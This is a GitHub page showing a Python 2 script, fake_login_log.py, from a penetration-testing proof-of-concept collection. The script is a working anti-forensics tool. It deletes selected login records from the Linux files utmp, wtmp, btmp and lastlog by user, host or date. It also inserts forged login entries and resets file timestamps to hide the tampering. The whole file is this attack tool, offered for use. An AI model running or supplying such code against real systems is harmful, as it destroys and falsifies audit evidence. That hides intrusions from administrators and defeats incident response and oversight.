forked from Mr-xn/Penetration_Testing_POC
-
Notifications
You must be signed in to change notification settings - Fork 1
/
fake_login_log.py
342 lines (306 loc) · 13 KB
/
fake_login_log.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
# author knpewg85942
# link:https://www.freebuf.com/articles/system/141474.html
# blog:https://forreestx386.github.io/
import os
import sys
import time
import random
import struct
import argparse
from pwd import getpwnam
class GeneralError(Exception):
pass
class FakeLog(object):
def __init__(self, args):
self.type = args.type
self.user = args.user
self.host = args.host
self.timestamp = args.timestamp
try:
self.date = str(
time.mktime(time.strptime(
args.date,
"%Y-%m-%d %H:%M:%S"))).split('.')[0] if args.date else None
except ValueError, e:
self.date = str(
time.mktime(
time.strptime(args.date + ':0',
"%Y-%m-%d %H:%M:%S"))).split('.')[0]
self.date_end = str(
time.mktime(
time.strptime(args.date +
":59", "%Y-%m-%d %H:%M:%S"))).split(
'.')[0] if args.date else None
self.tty = args.tty
self.pid = args.pid
self.FILE_DICT = {
'utmp': '/var/run/utmp',
'wtmp': '/var/log/wtmp',
'btmp': '/var/log/btmp',
'lastlog': '/var/log/lastlog'
}
self.FILE_PATH = self.FILE_DICT[self.type]
self.XTMP_STRUCT = 'hi32s4s32s256shhiii4i20x'
self.XTMP_STRUCT_SIZE = struct.calcsize(self.XTMP_STRUCT)
self.LAST_STRUCT = 'I32s256s'
self.LAST_STRUCT_SIZE = struct.calcsize(self.LAST_STRUCT)
def get_timestamp_by_user(self):
"""
根据用户名,从/var/log/wtmp中获取用户最后一次登录记录的时间戳
:return:
"""
_result = []
with open(self.FILE_DICT['wtmp'], 'rb') as fd:
while True:
record_bytes = fd.read(self.XTMP_STRUCT_SIZE)
if not record_bytes:
break
data = struct.unpack(self.XTMP_STRUCT, record_bytes)
record = [(lambda s: str(s).split("\0", 1)[0])(i)
for i in data]
if record[4] == self.user:
_result.append(record[-6])
return max(_result) if _result else None
def delete_log(self):
"""
根据条件删除utmp | wtmp |btmp |lastlog 中的记录
:return:
"""
to_remain = ''
_atime = os.stat(self.FILE_PATH).st_atime # 保存修改前的文件时间属性,以便修改后恢复
_mtime = os.stat(self.FILE_PATH).st_mtime
if self.type.endswith('tmp'): # deal xtmp log
try:
with open(self.FILE_PATH, 'rb') as fd:
while True:
record_bytes = fd.read(self.XTMP_STRUCT_SIZE)
if not record_bytes:
break
data = struct.unpack(self.XTMP_STRUCT, record_bytes)
record = [(lambda s: str(s).split("\0", 1)[0])(i)
for i in data]
_user = record[4]
_host = record[5]
_date = record[9]
if self.user:
if self.user == _user:
if self.host:
if self.host == _host:
if self.date:
if self.date <= _date <= self.date_end:
continue
else:
to_remain += record_bytes
else:
continue
else:
to_remain += record_bytes
elif self.date:
if self.date <= _date <= self.date_end:
continue
else:
to_remain += record_bytes
else:
continue
else:
to_remain += record_bytes
elif self.host:
if self.host == _host:
if self.date:
if self.date <= _date <= self.date_end:
continue
else:
to_remain += record_bytes
else:
continue
else:
to_remain += record_bytes
else:
if self.date <= _date <= self.date_end:
continue
else:
to_remain += record_bytes
except IOError as e:
raise GeneralError('file error: {0}'.format(e.message))
except Exception, e:
raise GeneralError('error occur: {0}'.format(e.message))
else:
with open(self.FILE_PATH, 'wb') as fd:
fd.write(to_remain)
os.utime(self.FILE_PATH,
(_atime, _mtime)) # restore a file atime, mtime
else: # deal lastlog, 根据unix时间戳或用户名删除指定用户最后一次登录记录
try:
with open(self.FILE_PATH, 'rb') as fd:
while True:
record_bytes = fd.read(self.LAST_STRUCT_SIZE)
if not record_bytes:
break
data = struct.unpack(self.LAST_STRUCT, record_bytes)
record = [(lambda s: str(s).split("\0", 1)[0])(i)
for i in data]
_timestamp = record[0]
_host = record[2]
if self.host:
if self.host == _host:
if self.date:
if self.date == _timestamp:
continue
else:
to_remain += record_bytes
else:
continue
else:
to_remain += record_bytes
elif self.date:
if self.date == _timestamp:
continue
else:
to_remain += record_bytes
else:
to_remain += record_bytes
except IOError as e:
raise GeneralError('file error: {0}'.format(e.message))
except Exception, e:
raise GeneralError('error occur: {0}'.format(e.message))
else:
with open(self.FILE_PATH, 'wb') as fd:
fd.write(to_remain)
os.utime(self.FILE_PATH,
(_atime, _mtime)) # restore a file atime, mtime
def add_log(self):
"""
根据条件,增加额外混淆日志
utmp | wtmp | btmp | lastlog
:return:
"""
to_add_xtmp = [
7, 13009, 'pts/4', 'ts/4', 'root', '10.1.100.10', 0, 0, 0,
1500475658, 498851, 23331082, 0, 0, 0
]
to_add_btmp = [
6, 13732, 'ssh:notty', '', 'root', '10.1.100.1', 0, 0, 0,
1500311234, 0, 23331082, 0, 0, 0
]
record_bytes = None
_backup = None
_atime = os.stat(self.FILE_PATH).st_atime
_mtime = os.stat(self.FILE_PATH).st_mtime
if self.FILE_PATH.endswith('utmp') or self.FILE_PATH.endswith('wtmp'):
if self.user:
to_add_xtmp[4] = self.user
if self.host:
to_add_xtmp[5] = self.host
if self.tty:
to_add_xtmp[2] = self.tty
to_add_xtmp[3] = self.tty[1:]
if self.pid:
to_add_xtmp[1] = int(self.pid)
if self.date:
to_add_xtmp[-6] = int(self.date) + random.randint(1, 60)
if self.timestamp:
# 修改用户退出登录的时间
to_add_xtmp[-6] = int(self.timestamp)
record_bytes = struct.pack(self.XTMP_STRUCT, *to_add_xtmp)
with open(self.FILE_PATH, 'rb') as fd:
_backup = fd.read() + record_bytes
with open(self.FILE_PATH, 'wb') as fd:
fd.write(_backup)
os.utime(self.FILE_PATH,
(_atime, _mtime)) # restore a file atime, mtime
elif self.FILE_PATH.endswith('btmp'):
if self.user:
to_add_btmp[4] = self.user
if self.host:
to_add_btmp[5] = self.host
if self.tty:
to_add_btmp[2] = self.tty
to_add_btmp[3] = self.tty[1:]
if self.pid:
to_add_btmp[1] = int(self.pid)
if self.date:
to_add_btmp[-6] = int(self.date)
if self.timestamp:
to_add_btmp[-6] = int(self.timestamp)
record_bytes = struct.pack(self.XTMP_STRUCT, *to_add_btmp)
with open(self.FILE_PATH, 'rb') as fd:
_backup = fd.read() + record_bytes
with open(self.FILE_PATH, 'wb') as fd:
fd.write(_backup)
os.utime(self.FILE_PATH,
(_atime, _mtime)) # restore a file atime, mtime
else:
__host = '10.1.100.1'
__date = 1500860089
__tty = 'pts/8'
if self.user:
try:
p = getpwnam(self.user)
except:
raise GeneralError('No such user.')
if self.host:
__host = self.host
if self.date:
__date = int(self.date)
if self.timestamp:
__date = int(self.timestamp)
if self.tty:
__tty = self.tty
data = struct.pack(self.LAST_STRUCT, __date, __tty, __host)
try:
with open(self.FILE_PATH, 'wb') as fd:
fd.seek(self.LAST_STRUCT_SIZE * p.pw_uid)
fd.write(data)
except Exception, e:
raise GeneralError('Cannot open file: {0}'.format(
e.message))
if __name__ == '__main__':
reload(sys)
sys.setdefaultencoding('utf8')
usage = 'usage: fake_login_log.py --mode delete --type utmp --user root --host 10.1.100.1\n \
fake_login_log.py --mode delete --type wtmp --user root --host 10.1.100.1 --date '
parse = argparse.ArgumentParser(usage=usage)
parse.add_argument('--mode',
dest='mode',
type=str,
required=True,
help='add, delete log')
parse.add_argument('--type',
dest='type',
type=str,
choices=['utmp', 'wtmp', 'btmp', 'lastlog'],
required=True,
help='utmp |wtmp |btmp |lastlog')
parse.add_argument('--user', dest='user', type=str, help='login username')
parse.add_argument('--host', dest='host', type=str, help='login from host')
parse.add_argument('--date',
dest='date',
type=str,
help='login time 2017-7-20 15:30')
parse.add_argument('--timestamp',
dest='timestamp',
type=str,
help='login time 1500475126')
parse.add_argument('--pid',
dest='pid',
type=str,
default=random.randint(os.getpid() + 100,
os.getpid() + 1000),
help='process id, for add only')
parse.add_argument('--tty', dest='tty', type=str, help='for add only')
argument = parse.parse_args()
if argument.mode not in ('add', 'delete', 'modify'):
raise GeneralError('error mode')
if not any(
(argument.user, argument.host, argument.date, argument.timestamp)):
raise GeneralError(
'you must choose at least user | host | date |timestamp as condition'
)
if argument.mode == 'add':
print "add"
FakeLog(argument).add_log()
else:
print "delete"
FakeLog(argument).delete_log()